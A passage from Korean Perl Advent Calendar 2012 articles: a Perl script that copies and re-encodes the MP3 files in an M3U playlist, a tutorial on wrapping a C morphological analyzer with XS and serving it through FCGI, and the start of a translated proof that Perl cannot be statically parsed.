# M3U/M3U8 파일을 읽어온다.
#
my $M3U_RAW_DATA;
if ( -e "$SOURCE_M3U_FILENAME" ) {
open my $fHandle, "<", "$SOURCE_M3U_FILENAME";
binmode $fHandle;
while (<$fHandle>) {
$M3U_RAW_DATA .= $_;
}
}
else {
print "Error: Source file is not exist!\n";
exit;
}
#
# 가져온 데이터의 인코딩 확인 : CP949 / UTF-8?
#
my $enc = guess_encoding( $M3U_RAW_DATA, qw/cp949 utf8/ );
if ( ref($enc) ) {
$M3U_RAW_DATA = decode( $enc->name, $M3U_RAW_DATA );
if ( $enc->name eq "utf8" ) {
if ( $M3U_RAW_DATA =~ /\x{FEFF}/ ) {
$M3U_RAW_DATA =~ s/\x{FEFF}//g;
}
}
}
else {
print "Error: Cannot guess encoding(Neither CP949 nor UTF-8)! \n";
exit;
}
undef $enc;
#
# 파일 목록을 만들기
#
my @MP3_LIST = split( /\r\n/, $M3U_RAW_DATA );
undef $M3U_RAW_DATA;
#
# 대상 폴더 확인 및 파일 복사
#
unless ( -e "$TARGET_FOLDER" ) {
mkdir( "$TARGET_FOLDER" );
}
foreach my $s_filename (@MP3_LIST) {
next if substr( $s_filename, 0, 1 ) eq "#";
$s_filename = mp3_abs_path( $s_filename, $SOURCE_M3U_FILENAME );
my $shortName = Win32::GetANSIPathName($s_filename);
my $mp3_info = get_mp3info($shortName);
if ( !$mp3_info->{BITRATE} ) {
print "Warning: Failed to get MP3 bitrate!\n $s_filename\n\n";
}
elsif ( $mp3_info->{BITRATE} > 192 ) {
mp3_enc_process( $s_filename, $TARGET_FOLDER );
}
else {
mp3_copy_process( $s_filename, $TARGET_FOLDER );
}
}
print "\nTask(s) finished.\n";
exit;
#
# 실제 복사가 이루어지는 서브루틴
#
sub mp3_copy_process {
my $s_filename = shift; # UTF-8
my $t_folder = shift; # CP949
my $t_filename;
my $filename;
( undef, undef, $filename ) = File::Spec->splitpath($s_filename);
if ( !Encode::is_utf8($t_folder) ) {
$t_folder = decode( "cp949", $t_folder );
}
if ( !Encode::is_utf8($filename) ) {
$filename = decode( "utf8", $filename );
}
$t_filename = "$t_folder/$filename"; # UTF-8
if ( file_type e => "$s_filename" ) {
copyW( "$s_filename", "$t_filename" )
or die "Error: Failed to copy!\n $s_filename\n ($!)\n\n";
}
else {
print "Warning: File is not exist!\n $s_filename\n\n";
}
}
#
# 실제 인코딩이 이루어지는 서브루틴
#
sub mp3_enc_process {
my $s_filename = shift; # UTF-8
my $t_folder = shift; # CP949
my $shortName = Win32::GetANSIPathName( $s_filename );
my ( undef, undef, $filename ) = File::Spec->splitpath($shortName);
my $t_filename = "$t_folder/$filename"; # CP949!
if ( ! -e "$shortName" ) {
print "Warning: File is not exist!\n $s_filename\n\n";
return;
}
my $commandline = qq{./lame.exe -S --noreplaygain -b 192 "$shortName" "$t_filename"};
my $errorlevel = system( $commandline );
if ( $errorlevel > 0 ) {
my $temp_filename = "$t_folder/temp_" . time . ".mp3";
copy( "$shortName", "$temp_filename" );
$commandline = qq{./lame.exe -S --noreplaygain -b 192 "$temp_filename" "$t_filename"};
$errorlevel = system( $commandline );
if ( $errorlevel > 0 ) {
print "Error: Failed to encode MP3!\n $s_filename\n\n";
$t_filename = $temp_filename;
}
else {
unlink $temp_filename;
}
}
( undef, undef, $filename ) =
File::Spec->splitpath($s_filename); # UTF-8
if ( !Encode::is_utf8($t_filename) ) {
$t_filename = decode( "cp949", $t_filename );
}
if ( !Encode::is_utf8($t_folder) ) {
$t_folder = decode( "cp949", $t_folder );
}
my $tt_filename = "$t_folder/$filename"; # UTF-8!
renameW( "$t_filename", "$tt_filename" );
}
#
# M3U 파일 내에 MP3 파일이 상대경로로 저장된 경우 절대경로로 변환
#
sub mp3_abs_path {
my ($mp3_file_path, $m3u_file_path) = @_;
if ( !File::Spec->file_name_is_absolute( $mp3_file_path ) ) {
my ( $t_drive, $t_folders ) = File::Spec->splitpath($m3u_file_path);
$m3u_file_path = File::Spec->catpath($t_drive,$t_folders,undef);
$mp3_file_path = File::Spec->rel2abs( $mp3_file_path, $m3u_file_path );
}
return $mp3_file_path;
}
</pre>
<h2>정리하며</h2>
<p>이 글은, 제가 만들어서 공개한 Perl 프로그램인 <a href="http://www.nightowl.pe.kr/software/m3ucopier">M3U Copier</a>의 제작 과정을 되짚어가면서 쓴 것입니다. 실제 프로그램은 좀 더 GUI 스러운 인터페이스와 함께, 이 글에서 언급은 했지만 독자 여러분들의 몫으로 떠넘긴(..) 여러 가지 항목들에 대한 구현, 기타 개인적으로 필요하여 추가한 몇 가지 옵션 항목들을 포함하고 있습니다. 그러나 그런 기능들을 모두 이 글에서 설명한다는 것은 적절하지 않은 것 같아서, 이 프로그램을 작성할 때 특히 주안점을 두었던 부분인 <em>유니코드 파일명을 가진 파일들을 제대로 읽고 복사하는 것</em>을 중심으로 써 보았습니다만 역시나 엄청나게 긴 글이 되어버렸습니다. 기존에 공개된 프로그램을 바탕으로 한 글이긴 하지만, 실제 모든 코드는 이 글을 쓰면서 새로 작성된 것입니다. 프로그램 공개 이후에 새로 알게 된 여러가지 지식들도 포함했고요. 오히려 차후 제 프로그램을 업데이트 할 때는 이 글을 쓰면서 새로 작성한 스크립트를 백포트해야 할 것 같네요. :-)</p>
<p>작년 성탄절 달력에 이어서, 올해도 성탄절 달력에 참가하게 되었습니다. 지난 번 Korean Perl Workshop에 제대로 참여를 못한 게 너무 아쉬워서, 성탄절 달력 공지를 보자마자 바로 하겠다고 @h0ney님을 통해서 찔러넣었습니다만, 사실 찔러 놓고는 엄청 후회했습니다. orz 도대체 올해는 뭘 가지고 쓸 것인지... 정말 막막하더군요. 이래저래 머리를 굴리면서 여러 주제들이 뇌리를 스쳐갔습니다만, 결국 제가 쓸 수 있는 주제는 제 Perl 라이프와 떼 놓고는 생각할 수 없다는 것을 다시 한 번 느꼈습니다.</p>
<p>이미 아시는 분도 계시겠고, 저 위 자기소개에도 썼습니다만, 제게 있어서 Perl은 밥벌이 수단도 아니었고, 그렇다고 뭔가 거창한 것도 아니었습니다. 단지 제가 컴퓨터를 사용하면서 필요한 도구를 직접 만들어가는 것이었습니다. 저는 전산 전공자도 아니고, 사용한 지는 오래 되었을지 몰라도 Perl 지식도 그다지 견고하지 못합니다. 이 자리를 빌어 고백하지만 "거침없이 배우는 펄" 수준의 입문서조차 처음부터 끝까지 독파해본 적이 없습니다. (orz) 그럼에도 불구하고, 어느 정도의 기본 지식을 갖추고, 이미 전 세계의 Perl 사용자들이 쌓아가고 있는 코드창고 CPAN을 적절히 사용할 수 있다면, <em>누구라도</em> 저처럼 나에게 필요한 기능을 가진 프로그램을 약간의 수고를 거쳐서 만들어낼 수 있다는 점을 (작년에 이어서 올해도!) 보여드리고 싶었습니다. 깊이 들어가면 한도 끝도 없는 것이 Perl의 세계이지만, 그렇게까지 들어가지 않더라도, 내가 아는 만큼 충분히 활용할 수 있는 것이 바로 Perl의 매력이라고 생각합니다. 지금 바로, Perl의 세계에 빠져들어 보시기를 강력히 권합니다!</p>
<h2>참고 자료</h2>
<ul>
<li><a href="http://search.cpan.org/~xaicron/Win32-Unicode-0.38/lib/Win32/Unicode.pm">CPAN - Win32::Unicode</a> 모듈</li>
<li><a href="http://search.cpan.org/~jenda/Win32-FileOp-0.16.00-withoutworldwriteables/FileOp.pm">CPAN - Win32::FileOp 모듈</a></li>
<li><a href="http://search.cpan.org/~jdb/Win32-0.45/Win32.pm">CPAN - Win32 모듈</a></li>
<li><a href="http://search.cpan.org/~daniel/MP3-Info-1.24/Info.pm">CPAN - MP3::Info 모듈</a></li>
<li><a href="http://search.cpan.org/~smueller/PathTools-3.33/lib/File/Spec.pm">CPAN - File::Spec 모듈</a></li>
<li><a href="#m3u" title="M3U">M3U 파일 형식 (위키피디아)</a></li>
<li><a href="http://www.nightowl.pe.kr/oblog/article/403">UTF-8 + BOM 문서를 decode 할 때 주의할 점 (졸고)</a></li>
</ul>
<h2>주석</h2>
<div class="footnotes">
<hr />
<ol>
<li id="fn:a"><p>이미 이런 상황을 겪고 계신다면, 이 문제를 해결하기 위한 좋은 해결책이 2010년 Perl Advent Calendar에 있습니다. 스물세번째 날의 <a href="http://advent.perl.kr/2010/2010-12-23.html">중복된 MP3 파일 찾아서 정리하기</a>를 참고하세요.<a href="#fnref:a" class="reversefootnote"> ↩</a></p></li>
<li id="fn:b"><p>그 외 예외상황으로 파일 경로가 아닌 폴더 경로가 존재하는 경우, 로컬 경로가 아닌 <code>http://</code> 나 <code>mms://</code> 경로가 존재하는 경우 등의 예외상황이 있지만, 이 프로그램상에서는 이를 별도로 고려하지 않았습니다. 공백 줄이 끼어 있는 경우도 고려하지 않았네요. (프로그램이 자동으로 작성한 정상적인 M3U 파일이라면 공백 줄이 있을 수가 없습니다.) M3U 파일에 대한 자세한 내용은 참고 자료의 링크를 아울러 읽어 보시기 바랍니다.<a href="#fnref:b" class="reversefootnote"> ↩</a></p></li>
<li id="fn:c"><p>오해를 막기 위하여 덧붙이자면, Perl에서 <code>readdir</code>을 사용하여 파일 목록을 읽을 때에는 위와 같은 문제가 발생하지 않습니다. Win32 환경에서 Perl이 <code>readdir</code>을 수행하는 경우, 만약 그 과정에서 유니코드 문자가 포함된 파일명을 발견했을 때에는 자동으로 짧은 파일명(8.3 파일명)으로 읽어오기 때문입니다. 이 8.3 파일명은 CP949 인코딩으로 이루어져 있기 때문에(하위 호환성을 위한 것이므로), 해당 파일명을 읽고 쓰는 데 전혀 문제가 없습니다. 따라서 오류도 발생하지 않죠. 그러나, 최소한 윈도우 XP 이후에 작성된, 유니코드를 완벽히 지원하는 많은 MP3 관리/재생 프로그램들은 이런 고려를 전혀 하지 않고, 8.3 파일명 대신 원래의 파일명을 그대로 저장합니다. 그 결과 이들 프로그램이 만든 목록 파일들을 Perl 에서 읽어서 사용할 수가 없는 것이지요. 문제의 원인은 여기에 있습니다.<a href="#fnref:c" class="reversefootnote"> ↩</a></p></li>
<li id="fn:d"><p>M3U 파일을 여는 부분은 Win32::Unicode 모듈을 사용하지 않았는데, 현재 상태에서는 콘솔 창에서 인수가 넘어오는 결과 언제나 그 인코딩은 CP949 바이트스트림이라는 점 때문에 별도로 고려하지 않는 것입니다. 대상 폴더가 존재하는지 확인하는 부분에 <code>file_type e =></code> 대신 파일 테스트 연산자 <code>-e</code>를 그대로 사용한 이유 역시 같습니다.<a href="#fnref:d" class="reversefootnote"> ↩</a></p></li>
<li id="fn:e"><p><code>unpack</code> 함수를 이용하여 특정한 바이트스트림을 쉽게 16진수로 변경이 가능합니다. <code>$str = unpack( "H*", $str );</code>의 형태로 사용 가능합니다.<a href="#fnref:e" class="reversefootnote"> ↩</a></p></li>
</ol>
</div>
2012-12-07T00:00:00+09:00owl0908Using C from Perlhttp://advent.perl.kr/2012/2012-12-06.html<h2>저자</h2>
<p><a href="http://blog.daum.net/hazzling/">@hazzling</a> - 자연어 개발자, XS를 사용 중인 모습이 Perl 커뮤니티에 포착, 섭외되어 기사를 작성하게 되었다.</p>
<h2>시작하며</h2>
<p>자연어처리의 기반 모듈은 C로 작성된 경우가 많습니다. 대표적인 것은 형태소 분석기인데, 최근들어 형태소 분석기를 Java, Python, Perl 등의 다른 언어에서 사용하고자 하는 요청이 늘어나고 있습니다.</p>
<p>특히, Perl의 경우 강력한 문자열 처리가 가능해서 일단 형태소 분석기의 Perl wrapper를 만들어둔다면 개발 속도 등 여러 측면에서 시너지가 날 것으로 예상됩니다.</p>
<p>이와 같은 배경에서, 이 글에서는 Perl의 XS(<a href="http://en.wikipedia.org/wiki/XS_%28Perl%29">eXternal Subroutine</a>)를 이용해 C 라이브러리를 Perl에서 사용하는 방법에 대해 기술합니다. 더불어 FCGI와 연동해서 WEB API를 작성하는 방법에 대해서도 살펴보고자 합니다.</p>
<h2 id="extension">Extension 만들기</h2>
<p>XS를 사용하기 위해서 우선 <a href="http://search.cpan.org/~dom/perl-5.12.5/utils/h2xs.PL">h2xs</a>를 이용해 extension을 만들어야합니다.</p>
<pre class="brush: bash;">
$ h2xs -A -n Moran
</pre>
<p>Moran이라는 이름으로 extension 파일들이 만들어집니다.</p>
<pre class="brush: bash;">
$ ls
Changes MANIFEST Makefile.PL README lib Moran.xs ppport.h t
</pre>
<p>이렇게 만들어진 주요 파일은 아래와 같습니다.</p>
<ul>
<li><code>Changes</code>: 버그 픽스, 기능 추가 등의 히스토리를 기술</li>
<li><code>MANIFEST</code>: ‘make dist’로 tar.gz 패키지를 만들때 포함되어야할 파일 기술</li>
<li><code>Makefile.PL</code>: Makefile을 생성하는 perl 프로그램 (automake의 Makefile.am과 비슷)</li>
<li><code>Moran.xs</code>: C 라이브러리를 호출하는 서브루틴을 작성</li>
<li><code>lib/Moran.pm</code>: Moran.xs에 기술된 서브루틴을 perl 서브루틴으로 wrapping하는 최종 인터페이스</li>
</ul>
<h2 id="makefile.pl">Makefile.PL</h2>
<p>예를 들어, 사용할 C 라이브러리 이름이 <code>moran.so</code>라고 하면, 대략 아래와 같이 편집합니다.</p>
<pre class="brush: perl;">
use 5.010001;
use ExtUtils::MakeMaker;
my $MORAN_HOME=q(/home/moran);
my $MORAN_LIB="-L$MORAN_HOME/lib -lmoran";
my $MORAN_INC="-I. -I$MORAN_HOME/include";
# See lib/ExtUtils/MakeMaker.pm for details of how to influence
# the contents of the Makefile that is written.
WriteMakefile(
NAME => 'Moran',
VERSION_FROM => 'lib/Moran.pm', # finds $VERSION
PREREQ_PM => {}, # e.g., Module::Name => 1.1
(
$] >= 5.005
? ## Add these new keywords supported since 5.005
(
ABSTRACT_FROM => 'lib/Moran.pm', # retrieve abstract from module
AUTHOR => 'yourname <yourname@gmail.com>'
)
: ()
),
LIBS => [$MORAN_LIB], # e.g., '-lm'
DEFINE => '', # e.g., '-DHAVE_SOMETHING'
INC => "$MORAN_INC", # e.g., '-I. -I/usr/include/other'
# Un-comment this if you add C files to link with later:
# OBJECT => '$(O_FILES)', # link all the C files too
);
</pre>
<p>편집을 마친 이후, 아래 명령으로 Makefile을 생성합니다.</p>
<pre class="brush: bash;">
$ perl Makefile.PL
$ make
</pre>
<p>생성된 Makefile로 간단히 <code>make</code> 명령을 내리면, 내용이 비어있는 Moran.xs로부터 Moran.c, Moran.so 라이브러리가 생성됩니다.</p>
<pre class="brush: bash;">
$ ls Moran.c
$ ls blib/arch/auto/Moran.so
</pre>
<p>이제 Moran.xs, Moran.pm을 작성하기 위한 준비는 마쳤습니다.</p>
<h2 id="moran.xs">Moran.xs</h2>
<p>moran.so에서 필요한 헤더 파일을 적당히 위치시키고 <code>MODULE = Moran</code> 아래 쪽에 서브루틴에 대한 코딩을 시작합니다.</p>
<p>우선 moran.so 라이브러리의 헤더 파일(moran.h)은 아래와 같이 있다고 가정합시다. 코딩할 부분은 C 함수와 Perl과의 인터페이스 서브루틴을 만드는 것인데, C의 문법과 상당히 유사해서 한번 해보시면 쉽게 따라해보실 수 있는 수준이라고 생각됩니다.</p>
<pre class="brush: cpp;">
/*
* 사전 파일을 메모리에 로딩하고 필요한 핸들러를 초기화
* 핸들러 메모리 주소를 리턴, 실패시 NULL 리턴
*/
void* initialize_moran(char* dictionary_path);
/*
* 핸들러에 할당된 메모리를 해제
*/
void finialize_moran(void* dict);
/*
* string을 입력받아 형태소분석하고 그 결과를 리턴
* 실패시 NULL 리턴
* 리턴된 메모리는 사용 후 반드시 free()해줘야한다
*/
char* analyze_moran(void* dict, char* string);
</pre>
<p><code>initialize_moran()</code> 함수의 리턴 값은 메모리의 주소인데, 여기서 고민이 생기게 됩니다. 이 주소값을 실제로 호출할 펄로 리턴해서 관리할 것인지, 아니면 Moran.xs에서 전역변수를 잡아서 싱글톤(singleton) 구조로 만들것이지 결정해야 합니다. 여기서는 간단하게 싱글톤 구조로 접근하겠습니다.
전역변수를 사용한다면, 아래와 같이 전역변수를 선언하고 이를 초기화할때 이미 초기화되어 있는지 확인해봐야합니다.</p>
<pre class="brush: cpp;">
#include "moran.h"
void* dict=NULL;
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include "ppport.h"
MODULE = Moran PACKAGE = Moran
void
initialize_moran_xs(dictionary_path)
char* dictionary_path
CODE:
if( dict == NULL ) {
dict = initialize_moran(dictionary_path);
if(dict == NULL) {
fprintf(stderr,"initialize_moran_xs() fail \n");
exit(1);
}
}
</pre>
<p>위에서 <code>char* dictionary_path</code>를 파라미터로 받는데, <code>make</code>한 결과로 생성되는 Moran.c 파일을 보시면 아래와 같이 코드가 생성되어 있는 것을 알 수 있습니다.</p>
<pre class="brush: cpp;">
char* dictionary_path = (char *)SvPV_nolen(ST(0));
</pre>
<p><code>ST(0)</code> 즉, Perl에서 <code>initialize_moran_xs()</code> 서브루틴을 호출할 때 넘기는 배열의 첫번째 값에 대해서 저장되어 있는 실제 값을 <code>(char*)</code>로 넘겨 받는다는 의미입니다. Moran.xs를 코딩할때는 이런 부분을 상세하게 알아야하겠지만, C 코드처럼 작성해도 자동변환이 된다는 것을 알 수 있습니다.</p>
<pre class="brush: cpp;">
SV*
initialize_moran_xs(dictionary_path)
char* dictionary_path
CODE:
IV addr_holder;
addr_holder = (IV)initialize_moran(dictionary_path);
RETVAL = newSViv(addr_holder);
OUTPUT:
RETVAL
</pre>
<ul>
<li>메모리 주소를 리턴하는 방법은 <a href="http://perldoc.perl.org/perlguts.html">perlguts</a> 문서를 참조하면 됩니다.</li>
<li><code>IV</code>: signed integer value (integer 뿐만 아니라 메모리 주소를 저장한 만한 충분한 공간)</li>
<li><code>initialize_moran()</code>으로 얻어진 메모리 주소값을 IV에 저장하고 이를 Perl로 리턴</li>
</ul>
<p>이제 초기화 루틴을 완성했습니다. 다음으로 사전을 해제하는 루틴은 아래와 같이 간단히 작성할 수 있습니다.</p>
<pre class="brush: cpp;">
void
finalize_moran_xs()
CODE:
if(dict != NULL) {
finalize_moran(dict);
dict = NULL;
}
</pre>
<p>마지막으로 <code>analyze_moran()</code>에 대한 서브루틴을 작성하면 아래와 같습니다.</p>
<pre class="brush: cpp;">
SV*
analyze_moran_xs(sv_string)
SV* sv_string
CODE:
char* string;
char* rst;
if( SvCUR(sv_string) != 0 ) {
string = (char *)SvPV_nolen(sv_string);
} else {
RETVAL = (SV*)0; /* return undef value */
XSRETURN(1); /* return되는 값은 stack에 저장되는데 몇개의 item이 있는지 명시 */
}
rst = analyze_moran(dict, string);
if( rst == NULL ) {
RETVAL = (SV*)0;
XSRETURN(1);
} else {
RETVAL = newSVpvf("%s",rst);
free(rst);
}
OUTPUT:
RETVAL
</pre>
<ul>
<li><code>SvCUR(SV*)</code>: SV에 저장된 스트링의 실제 길이</li>
<li><code>XSRETURN()</code>: <a href="http://perldoc.perl.org/perlapi.html">perlapi</a> 참조</li>
<li><code>newSVpvf()</code>: <a href="http://perldoc.perl.org/perlguts.html">perlguts</a> 참조</li>
</ul>
<p>이제 Moran.xs를 저장하고 make해서 정상적으로 컴파일되는지 확인해봅니다.</p>
<pre class="brush: bash;">
$ make
</pre>
<p>문제가 없다면 기본적으로 perl에서 사용할 준비는 마쳤다고 볼 수 있습니다.</p>
<pre class="brush: perl;">
use ExtUtils::testlib; # adds blib/* directories to @INC
use Moran;
initialize_moran_xs($dictionary_path);
$rst = analyze_moran_xs($string);
finalize_moran_xs();
</pre>
<h2 id="moran.pm">Moran.pm</h2>
<p>Moran.xs에 정의된 서브루틴을 다시한번 Perl에서 사용하기 편하게 패키징을 하면 사용 및 배포가 용이해집니다. <code>lib/Moran.pm</code> 파일을 열어서 대략 아래와 같이 작성합니다.</p>
<pre class="brush: perl;">
package Moran;
use 5.010001;
use strict;
use warnings;
require Exporter;
our @ISA = qw(Exporter);
# Items to export into callers namespace by default. Note: do not export
# names by default without a very good reason. Use EXPORT_OK instead.
# Do not simply export all your public functions/methods/constants.
# This allows declaration use Moran ':all';
# If you do not need this, moving things directly into @EXPORT or @EXPORT_OK
# will save memory.
our %EXPORT_TAGS = ( 'all' => [ qw(
) ] );
our @EXPORT_OK = ( @{ $EXPORT_TAGS{'all'} } );
# export할 서브루틴의 이름을 기술합니다.
our @EXPORT = qw(
initialize_moran finalize_moran analyze_moran
);
# Moran.pm의 버전 정보를 관리합니다.
our $VERSION = '1.00';
require XSLoader;
XSLoader::load('Moran', $VERSION);
# Preloaded methods go here.
sub initialize_moran {
my $dictionary_path = shift;
# ... some error handling
initialize_moran_xs($dictionary_path);
}
sub finalize_moran {
finalize_moran_xs();
}
sub analyze_moran {
my $string = shift;
# ... some error handling
return analyze_moran_xs($string);
}
1;
__END__
=head1 NAME
Moran - Perl extension for Moran analyzer written in C
=head1 SYNOPSIS
use Moran; # imports initialize_moran, analyze_moran, finalize_moran
# simple and fast interfaces
initialize_moran($dictionary_path);
$rst = analyze_moran($string);
finalize_moran();
...
</pre>
<p>현재 <code>Moran</code> 디렉토리에서 <code>make install</code>을 하면 Moran.pm이 설치되는데, 위와 같이 문서화를 잘 해두면 <code>perldoc Moran</code> 명령으로 쉽게 사용법을 찾아볼 수 있게 됩니다.</p>
<h2 id="test_moran.pl">test_moran.pl</h2>
<p>설치된 Moran.pm을 사용하는 방법은 아래와 같이 간단합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl -w
use strict;
use warnings;
use utf8;
...
use ExtUtils::testlib; # adds blib/* directories to @INC
use DHA;
...
initialize_moran($dictionary_path);
$rst = analyze_moran($string);
print $rst, "\n";
finalize_moran();
</pre>
<h2 id="fcgiwithperl">FCGI with Perl</h2>
<p>형태소 분석기와 같이 초기화가 무거운 모듈을 API로 서비스할때, FCGI를 자주 사용하는데, Perl에서는 어떻게 사용하는지 살펴봅시다. 우선 시스템에 apache와 fcgi가 설치되어 있다고 가정합니다.</p>
<pre class="brush: bash;">
$ rpm -qa | grep -e 'httpd' -e 'fcgi' -e 'fast'
fcgi-devel-2.4.0-10.el5.x86_64
httpd-tools-2.2.15-15.el6.x86_64
mod_fastcgi-2.4.6-1.el5.rf.x86_64
httpd-2.2.15-15.el6.x86_64
fcgi-2.4.0-10.el5.x86_64
</pre>
<p>FCGI를 사용하기 위해서는 <a href="https://www.metacpan.org/module/CGI::Fast">CGI::Fast</a> 패키지가 설치되어 있어야합니다. 이를 설치한 이후 API는 아래와 같은 형태로 만들어질 수 있습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use strict;
use warnings;
use utf8;
use CGI qw(:standard escape escapeHTML);
#use CGI::Carp qw(fatalsToBrowser);
use JSON;
use XML::Bare;
use Encode;
use CGI::Fast qw(:standard);
binmode STDOUT, ":encoding(UTF-8)";
use ExtUtils::testlib; # adds blib/* directories to @INC
use Moran;
our $dictionary_path = q(/home/dictionary.dict);
initialize_moran($dictionary_path);
my $q;
while( $q = new CGI::Fast ) {
CGI->compile();
proc_cgi($q);
}
finalize_moran();
exit;
1;
sub proc_cgi {
my $q = shift || (new CGI);
$q->charset('utf-8');
my $path_info = $q->path_info;
my ($cmd, $path, $suffix) = fileparse($path_info, ".xml", ".json", ".txt", ".html", );
$suffix = ".json" unless $suffix;
my $callback = param('callback');
my $mode = param('mode') || "";
my $query = decode(utf8=>param('q')) || "";
my $tag = param('tag') || "";
my $content_type = mime_type($suffix, $callback);
my $full_url = $q->url(-full=>1);
my $absolute_url = $q->url(-absolute=>1);
...
$header = $q->header(-charset=>'utf-8',
-type=>$content_type,
-expires=>'+3m',
-cache_control => q(public, s-maxage=180),
)
...
print $header;
...
$rst = anaylze_moran($query);
...
}
...
</pre>
<p>이렇게 만들어진 API를 FCGI 서버로 띄우기 위해서 httpd.conf에 설정을 해줘야하는데, 그 방법은 아래와 같습니다.</p>
<pre class="brush: plain;">
# FCGI
LoadModule fastcgi_module modules/mod_fastcgi.so
<IfModule mod_fastcgi.c>
Alias /fcgi/ /home/wrapper/perl/www/
<Directory /home/wrapper/perl/www/>
SetHandler fastcgi-script
Options +ExecCGI
Allow from all
</Directory>
AppClass /home/wrapper/perl/www/fcgi.pl
</IfModule>
</pre>
<h2>정리하며</h2>
<p>지금까지 C로 작성된 라이브러리를 Perl에서 사용하는 방법과 만들어진 Perl 패키지를 FCGI를 사용해서 API 서비스하는 방법에 대해 간략히 살펴봤습니다. 사실 Perl 개발은 이제 시작하는 단계라 초짜나 다름 없지만 비슷한 니즈가 있는 분들께 작게나마 도움이 되었으면 합니다.</p>
<p>감사합니다.</p>
2012-12-06T00:00:00+09:00hazzling펄은 파싱할 수 없다: 형식적인 증명http://advent.perl.kr/2012/2012-12-05.html<h2>저자</h2>
<p><a href="http://www.jeffreykegler.com/">Jeffrey Kegler</a></p>
<h2>펄은 파싱할 수 없다: 형식적인 증명</h2>
<!--
Perl Cannot Be Parsed: A Formal Proof
-->
<!--
[ UPDATE 27 Aug 2009: Readers interested in the topic of this node will want to look first (or instead) at the series of three articles I wrote for The Perl Review, now available online. They lay this proof out more carefully and with thorough explanations, in three different versions. ]
-->
<!--
[ At this point this post should be considered mainly of historical interest. One especial defect is that it frames the issue in terms of "static parsing", implying that there are no similar issues with "dynamic" parsing. ]
-->
<!--
In the man page for PPI, Adam Kennedy conjectures that perl is unparseable, and suggests how to prove it. Below I carry out a rigorous version of the proof, which should put the matter beyond doubt.
-->
<p><a href="http://en.wikipedia.org/wiki/Adam_Kennedy_%28programmer%29">아담 케네디</a>는 <a href="http://metacpan.org/module/PPI">PPI</a> 문서에서 펄의 구문 분석(파싱)은 불가능하다고 추측했습니다.
그리고 이것을 어떻게 증명하는지 보였습니다. 아래에 이 엄격한 형식의 증명을 첨부하였습니다.
여기서 <em>동적</em> 구문 분석과 유사한 이슈는 제외하는 것으로 가정합시다.</p>
<!--
I've become interested in the question because I've just released an alpha version of a general parser (Parse::Marpa) on CPAN, which I think will allow static parsing of large portions of Perl 5, and I wanted to know what is achievable. Parse::Marpa accepts any BNF that's free of infinite loops. The BNF can be recursive, have empty productions or even be ambiguous. If Marpa works for parsing Perl 5, it will do it with a lot less cruft than ad hoc solutions. Parse::Marpa is based on new research into combining LR(0) precomputation with Earley's algorithm and so far speed seems good -- quite acceptable for utility purposes.
-->
<p>저는 이 문제에 호기심을 가지고 있었습니다.
전반적 용도의 파서인 <a href="http://metacpan.org/module/Marpa::PP">Parse::Marpa</a>의 알파 버전을 CPAN에 배포한 상황이었기 때문이죠.
저는 이것으로 펄 코드의 대부분을 정적 구문 분석을 할 수 있다고 생각했습니다.
그리고 무엇이 가능한지 알고 싶었죠. <a href="http://metacpan.org/module/Marpa::PP">Parse::Marpa</a>는 어떠한 <a href="http://en.wikipedia.org/wiki/Backus%E2%80%93Naur_Form">BNF</a>도 받을 수 있습니다.
BNF는 재귀적일 수도 공백의 생성 규칙이나 모호한 규칙을 포함할 수도 있습니다.
<a href="http://metacpan.org/module/Marpa::PP">Marpa</a>를 펄의 구문을 분석하는 것에 사용하면 에드혹 방식의 해결책보다 훨신 덜 불쾌할 것입니다.
<a href="http://metacpan.org/module/Marpa::PP">Parse::Marpa</a>는 LR(0)의 선행 연산 부분과 <a href="http://en.wikipedia.org/wiki/Earley_parser">얼리의 알고리즘</a>을 합치는
새롭게 연구된 방식을 취하여 빠른 속도를 자랑합니다.
특히 유틸리티 목적에 알맞습니다.</p>
<!--
For those not familiar with the history of this discussion, the term "parse" here is being used in its strict sense to mean static parsing -- taking a piece of code and determining its structure without executing it. In that strict sense the Perl program does not parse Perl. The Perl program executes Perl code, but does not determine its structure. Adam Kennedy gives a good account of the discussion. Randal Schwartz played a key role in it, and one of his perlmonks nodes is pivotal.
-->
<p>이 논란에 처음이신 분들을 위해 말씀드리자면 여기서의 구문 분석, 즉 파스(parse)란 정적인 구문 분석을 의미합니다.
즉, 받은 코드 조각의 구조를 실행하지 않고 결정하는 것입니다.
정적인 구문 분석으로 엄밀하게 보면 펄 프로그램조차 펄의 구문을 분석하지는 않습니다.
펄 프로그램은 펄 코드를 실행하기는 하지만, 이것의 구조를 결정하지는 않습니다.
아담 케네디는 이 논의에서 고려할 사항을 잘 내놓았습니다.
랜달 슈워츠는 이 논의에 중추적인 역할을 했고, 특히 그가 쓴 하나의 펄몽스 게시물이 중요한 역할을 했습니다.</p>
<!--
Static parsing of Perl 5 is of a lot more than academic interest, as Adam Kennedy shows. It is needed for automated documentation tools, analyzers like Perl::Critic, presentation tools, automatic transformation of Perl code, etc.
-->
<p>펄의 정적 구문 분석은, 아담 케네디가 보여준 바와 같이, 학문적 호기심 이상의 의미가 있습니다.
자동화된 문서 도구나 <a href="http://metacpan.org/module/Perl::Critic">Perl::Critic</a>과 같은 분석 도구에도 필요하며,
펄의 표현이나 자동화된 변형을 위해서도 필요합니다.</p>
<!--
The proof which follows meets the current level of rigor in Theory of Computation, but is written using Perl and Perl notation. That would make the following unacceptable to a math journal, but they wouldn't take it anyway, because the theorem is a very straightforward consequence of Rice's Theorem.
-->
<p>아래의 증명은 엄격한 계산이론 수준에 달하는 내용입니다.
하지만 펄을 사용하고 펄의 표기법을 사용했습니다.
따라서 수학 저널에 등재할 수는 없을 것입니다.
사실, 그들은 어쨌든 이 글을 받지 않을 겁니다.
<a href="http://en.wikipedia.org/wiki/Rice%27s_theorem">라이스의 정리</a>를 자세한 정리 없이 아주 직설적인 순서로 논할 것이기 때문입니다.</p>
<!--
Theorem: Parsing Perl 5 is Undecidable
-->
<h2>정리: 펄 5 구문 분석은 결정 불가능하다</h2>
<!--
We first establish Adam Kennedy's conjecture as a lemma. The proof will follow immediately from that and the Halting Theorem.
-->
<p>먼저 아담 케네디의 추측을 보조정리로 두겠습니다.
바로 그 뒤에 증명과 정지 문제에 대해 다룹니다.</p>
<!--
Kennedy's Lemma: If you can parse Perl, you can solve the Halting Problem.
-->
<blockquote>
<p>케네디의 보조정리:
